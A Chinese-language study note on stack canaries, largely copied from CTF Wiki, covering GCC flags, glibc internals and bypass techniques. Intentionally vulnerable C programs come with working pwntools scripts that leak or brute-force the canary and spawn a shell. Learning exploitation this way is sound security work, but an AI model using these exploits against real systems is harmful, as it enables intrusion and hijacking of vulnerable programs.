简介

  • 由于自己的懒惰, 一直没有认真学习pwn。总是学了忘…..所以从头开始, 认真记录学习过程
  • 主要跟着CTF Wiki进行学习
  • 当然还要敬鑫大佬的帮忙!

Canary

原文:Canary

  • 基本是抄的, 略有增删

来源

Canary 的意思是金丝雀, 来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒, 金丝雀由于对毒性敏感就会停止鸣叫甚至死亡, 从而使工人们得到预警。

Canary 不管是实现还是设计思想都比较简单高效, 就是插入一个值在 stack overflow 发生的高危区域的尾部。当函数返回之时检测 Canary 的值是否经过了改变, 以此来判断 stack/buffer overflow 是否发生。

原理

在 GCC 中使用 Canary

可以在 GCC 中使用以下参数设置 Canary:

-fstack-protector 启用保护, 不过只为局部变量中含有数组的函数插入保护
-fstack-protector-all 启用保护, 为所有函数插入保护
-fstack-protector-strong 对包含有malloc族系或者内部的buffer大于8字节的或者包含局部数组的或者包含对local frame地址引用的函数使能canary.
-fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护
-fno-stack-protector 禁用保护

实现原理

开启 Canary 保护的 stack 结构大概如下:

 High   Address |                 |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
rbp => | old ebp |
+-----------------+
rbp-8 => | canary value |
+-----------------+
| 局部变量 |
Low Address| |

当程序启用 Canary 编译后, 在函数序言部分会取 fs 寄存器 0x28 处的值, 存放在栈中 %ebp-0x8 的位置。 这个操作即为向栈中插入 Canary 值, 代码如下:

mov    rax, qword ptr fs:[0x28]
mov qword ptr [rbp - 8], rax

在函数返回之前, 会将该值取出, 并与 fs:0x28 的值进行异或。如果异或的结果为 0, 说明 Canary 未被修改, 函数会正常返回, 这个操作即为检测是否发生栈溢出。

mov    rdx, QWORD PTR [rbp-0x8]
xor rdx, QWORD PTR fs:0x28
je 0x4005d7 <main+65>
call 0x400460 <__stack_chk_fail@plt>

如果 Canary 已经被非法修改, 此时程序流程会走到 __stack_chk_fail__stack_chk_fail 也是位于 glibc 中的函数, 默认情况下经过 ELF 的延迟绑定, 定义如下。

eglibc-2.19/debug/stack_chk_fail.c

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}

void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>");
}

这意味可以通过劫持 __stack_chk_fail 的 got 值劫持流程或者利用 __stack_chk_fail 泄漏内容 (参见 stack smash)。

进一步, 对于 Linux 来说, fs 寄存器实际指向的是当前栈的 TLS 结构, fs:0x28 指向的正是 stack_guard。

typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
uintptr_t sysinfo;
uintptr_t stack_guard;
...
} tcbhead_t;

如果存在溢出可以覆盖位于 TLS 中保存的 Canary 值那么就可以实现绕过保护机制。

事实上, TLS 中的值由函数 security_init 进行初始化。

static void
security_init (void)
{
// _dl_random的值在进入这个函数的时候就已经由kernel写入.
// glibc直接使用了_dl_random的值并没有给赋值
// 如果不采用这种模式, glibc也可以自己产生随机数

//将_dl_random的最后一个字节设置为0x0
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);

// 设置Canary的值到TLS中
THREAD_SET_STACK_GUARD (stack_chk_guard);

_dl_random = NULL;
}

//THREAD_SET_STACK_GUARD宏用于设置TLS
#define THREAD_SET_STACK_GUARD(value) \
THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)

实例

这里我们编写一个程序进行直观的认识

➜  canary gcc --version
gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
// canary.c
#include <stdio.h>
#include <string.h>

void foo(char *input) {
char buff[256];
strcpy(buff, input);
printf("%s", buff);
}

int main() {
foo("Hello, World!");
return 0;
}

禁用Canary, foo函数汇编代码:

gcc canary.c -o canary -fno-stack-protector
.text:000000000000068A                 public foo
.text:000000000000068A foo proc near ; CODE XREF: main+B↓p
.text:000000000000068A
.text:000000000000068A src = qword ptr -108h
.text:000000000000068A dest = byte ptr -100h
.text:000000000000068A
.text:000000000000068A ; __unwind {
.text:000000000000068A push rbp
.text:000000000000068B mov rbp, rsp
.text:000000000000068E sub rsp, 110h
.text:0000000000000695 mov [rbp+src], rdi
.text:000000000000069C mov rdx, [rbp+src]
.text:00000000000006A3 lea rax, [rbp+dest]
.text:00000000000006AA mov rsi, rdx ; src
.text:00000000000006AD mov rdi, rax ; dest
.text:00000000000006B0 call _strcpy
.text:00000000000006B5 lea rax, [rbp+dest]
.text:00000000000006BC mov rsi, rax
.text:00000000000006BF lea rdi, format ; "%s"
.text:00000000000006C6 mov eax, 0
.text:00000000000006CB call _printf
.text:00000000000006D0 nop
.text:00000000000006D1 leave
.text:00000000000006D2 retn
.text:00000000000006D2 ; } // starts at 68A
.text:00000000000006D2 foo endp

打开Canary保护, foo函数汇编代码:

gcc canary.c -o canary -fstack-protector-all
.text:00000000000006FA                 public foo
.text:00000000000006FA foo proc near ; CODE XREF: main+1E↓p
.text:00000000000006FA
.text:00000000000006FA src = qword ptr -118h
.text:00000000000006FA dest = byte ptr -110h
.text:00000000000006FA var_8 = qword ptr -8
.text:00000000000006FA
.text:00000000000006FA ; __unwind {
.text:00000000000006FA push rbp
.text:00000000000006FB mov rbp, rsp
.text:00000000000006FE sub rsp, 120h
.text:0000000000000705 mov [rbp+src], rdi
.text:000000000000070C mov rax, fs:28h
.text:0000000000000715 mov [rbp+var_8], rax
.text:0000000000000719 xor eax, eax
.text:000000000000071B mov rdx, [rbp+src]
.text:0000000000000722 lea rax, [rbp+dest]
.text:0000000000000729 mov rsi, rdx ; src
.text:000000000000072C mov rdi, rax ; dest
.text:000000000000072F call _strcpy
.text:0000000000000734 lea rax, [rbp+dest]
.text:000000000000073B mov rsi, rax
.text:000000000000073E lea rdi, format ; "%s"
.text:0000000000000745 mov eax, 0
.text:000000000000074A call _printf
.text:000000000000074F nop
.text:0000000000000750 mov rax, [rbp+var_8]
.text:0000000000000754 xor rax, fs:28h
.text:000000000000075D jz short locret_764
.text:000000000000075F call ___stack_chk_fail
.text:0000000000000764 ; ---------------------------------------------------------------------------
.text:0000000000000764
.text:0000000000000764 locret_764: ; CODE XREF: foo+63↑j
.text:0000000000000764 leave
.text:0000000000000765 retn
.text:0000000000000765 ; } // starts at 6FA
.text:0000000000000765 foo endp

两者对比很明显看到, 打开canary保护后, 程序中插入了:

mov     rax, fs:28h
mov [rbp+var_8], rax
......
mov rax, [rbp+var_8]
xor rax, fs:28h
jz short locret_764
call ___stack_chk_fail

编译参数

gcc在4.2版本中添加了-fstack-protector和-fstack-protector-all编译参数以支持栈保护功能, 4.9新增了-fstack-protector-strong编译参数让保护的范围更广。

因此在编译时可以控制是否开启栈保护以及程度, 例如:

gcc -o test test.c                          // 默认情况下, 不开启Canary保护
gcc -fno-stack-protector -o test test.c //禁用栈保护
gcc -fstack-protector -o test test.c //启用堆栈保护, 不过只为局部变量中含有 char 数组的函数插入保护代码
gcc -fstack-protector-all -o test test.c //启用堆栈保护, 为所有函数插入保护代码

绕过技术

序言

Canary 是一种十分有效的解决栈溢出问题的漏洞缓解措施。但是并不意味着 Canary 就能够阻止所有的栈溢出利用, 在这里给出了常见的存在 Canary 的栈溢出利用思路, 请注意每种方法都有特定的环境要求。

泄露栈中的 Canary

Canary 设计为以字节 \x00 结尾, 本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节, 来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数, 并且可能需要第一溢出泄露 Canary, 之后再次溢出控制执行流程。

利用示例

存在漏洞的示例源代码如下:

// ex2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}

编译为 32bit 程序, 开启 NX, Canary , 关闭 ALSR保护

gcc -m32 -no-pie -o ex2 ex2.c

checksec一下:

➜  work checksec ex2
[*] '/home/lantern/Desktop/work/ex2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
攻击

首先通过覆盖 Canary 最后一个 \x00 字节来打印出 4 位的 Canary 之后, 计算好偏移, 将 Canary 填入到相应的溢出位置, 实现 Ret 到 getshell 函数中

#!/usr/bin/zsh python3
from pwn import *

context.binary = 'ex2'

# context.log_level = 'debug'
p = process('./ex2')

ru = p.recvuntil

sl = p.sendline

get_shell = ELF("./ex2").sym["getshell"]
ru("Hello Hacker!\n")

# leak Canary
payload = b"A" * 100
sl(payload)

ru(b"A"*100)
Canary = u32(p.recv(4)) - 0xa
log.info("Canary:" + hex(Canary))
# Bypass Canary

payload = b"\x90"*100+p32(Canary)+b"\x90"*12+p32(get_shell)

p.send(payload)

p.recv()

p.interactive()

运行:

➜  work python3 exp2.py
[*] '/home/lantern/Desktop/work/ex2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './ex2': pid 61114
[*] Canary:0xdeaff300
[*] Switching to interactive mode
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90$

成功getshell

one-by-one 爆破 Canary

对于 Canary, 虽然每次进程重启后的 Canary 不同 (相比 GS, GS 重启后是相同的), 但是同一个进程中的不同线程的 Canary 是相同的, 并且 通过 fork 函数创建的子进程的 Canary 也是相同的, 因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点, 彻底逐个字节将 Canary 爆破出来。

利用示例

漏洞代码:

// ex3.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[20];
read(0, buf, 0x100);
}
int main(void) {
init();
while( 1 ) {
pid_t pid = fork();
if ( pid ) {
wait(0);
} else {
puts("welcome");
vuln();
puts("recv success");
}
}
vuln();
return 0;
}

由于vuln()中没有输出函数所以这里没有办法leakcanary, 但主函数中有fork()函数可以进行canary爆破

这里我们还是编译为32位, 开启NX, Canary保护, 关闭 ALSR保护

gcc -m32 ex3.c -o ex3 -no-pie

checksec:

[*] '/mnt/d/Users/Lantern/Desktop/note/pwn_note/canary/ex3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

爆破脚本如下:

#!/usr/bin/zsh python3
from pwn import *

context.binary = 'ex3'

# context.log_level = 'debug'

p = process("./ex3")

ru = p.recvuntil
sl = p.sendline
sd = p.send

get_shell = ELF("./ex3").sym["getshell"]
ru("welcome\n")

canary = '\x00'

for k in range(3):
for i in range(256):
print("the " + str(k) + " : " + chr(i))
sd("a" * 0x14 + canary + chr(i))
a = ru("welcome\n")
print(a)
if b"success" in a:
canary += chr(i)
print("canary: " + canary)
break

payload = b"A" * 20 + str.encode(canary) + b"A" * 12 + p32(get_shell)

sd(payload)
p.interactive()

结果:

➜  work python3 exp3.py
[*] '/home/lantern/Desktop/work/ex3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './ex3': pid 10924
.....(爆破的输出)
b'recv success\nwelcome\n'
canary: \x00.E
[*] Switching to interactive mode
$ ls
ex3 exp3.py

劫持__stack_chk_fail 函数

已知 Canary 失败的处理逻辑会进入到 __stack_chk_failed 函数, __stack_chk_failed 函数是一个普通的延迟绑定函数, 可以通过修改 GOT 表劫持这个函数。

参见 ZCTF 2017 Login, 利用方式是通过 fsb 漏洞篡改 __stack_chk_fail 的 GOT 表, 再进行 ROP 利用

覆盖 TLS 中储存的 Canary 值

已知 Canary 储存在 TLS 中, 在函数返回前会使用这个值进行对比。当溢出尺寸较大时, 可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。

参见 StarCTF2018 babystack